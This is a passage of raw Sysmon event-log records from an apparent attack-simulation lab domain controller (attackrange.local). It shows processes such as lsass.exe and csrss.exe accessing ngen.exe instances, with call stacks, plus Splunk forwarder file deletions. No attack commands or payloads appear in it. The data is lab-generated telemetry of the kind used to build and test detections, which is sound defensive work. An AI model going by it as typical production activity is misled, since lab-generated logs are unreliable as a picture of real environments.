14:43:47.494{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2508-00000000F001}6632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.479{7BD73061-6F23-613B-2608-00000000F001}55324028C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-2508-00000000F001}6632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.479{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2608-00000000F001}5532C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 23542300x800000000000000039427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.479{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3C111E8514854F7028150A594611540A,SHA256=230375270E5BDCF1F71973B3AF34E6830BD1D8460873985CFC18FDC87239E7AB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.463{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2508-00000000F001}6632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.463{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-2508-00000000F001}6632c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.463{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2308-00000000F001}1380c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.463{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2308-00000000F001}1380c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.432{7BD73061-6F23-613B-2408-00000000F001}52405152C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-2308-00000000F001}1380c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.432{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2408-00000000F001}5240C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.432{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2308-00000000F001}1380c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.432{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-2308-00000000F001}1380c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.416{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2108-00000000F001}6536c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.416{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2108-00000000F001}6536c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.401{7BD73061-6F23-613B-2208-00000000F001}69486556C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-2108-00000000F001}6536c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.385{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2208-00000000F001}6948C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.385{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2108-00000000F001}6536c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.385{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-2108-00000000F001}6536c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.369{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1F08-00000000F001}6404c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.369{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1F08-00000000F001}6404c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.369{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F74E8589C7E7D13A4A6D7869E36FF2AE,SHA256=97C7892A6D700F2A2C4B238BC33A980875834EC80D9DDDAD19B0A6412C0DD6E3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.369{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71621EED5749785F721E892B1FF1DCCE,SHA256=9C9EDF63892B95F282EA91556F5D62BD355AA5C8FAA5E84CE7E9341C86922E5E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.354{7BD73061-6F23-613B-2008-00000000F001}6085640C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-1F08-00000000F001}6404c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.354{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-2008-00000000F001}608C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.338{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1F08-00000000F001}6404c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.338{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-1F08-00000000F001}6404c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.338{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1D08-00000000F001}6460c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.338{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-1D08-00000000F001}6460c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.323{7BD73061-6F23-613B-1E08-00000000F001}65801940C:\Windows\system32\conhost.exe{7BD73061-6F23-613B-1D08-00000000F001}6460c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.307{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1E08-00000000F001}6580C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.307{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F23-613B-1D08-00000000F001}6460c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.307{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F23-613B-1D08-00000000F001}6460c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 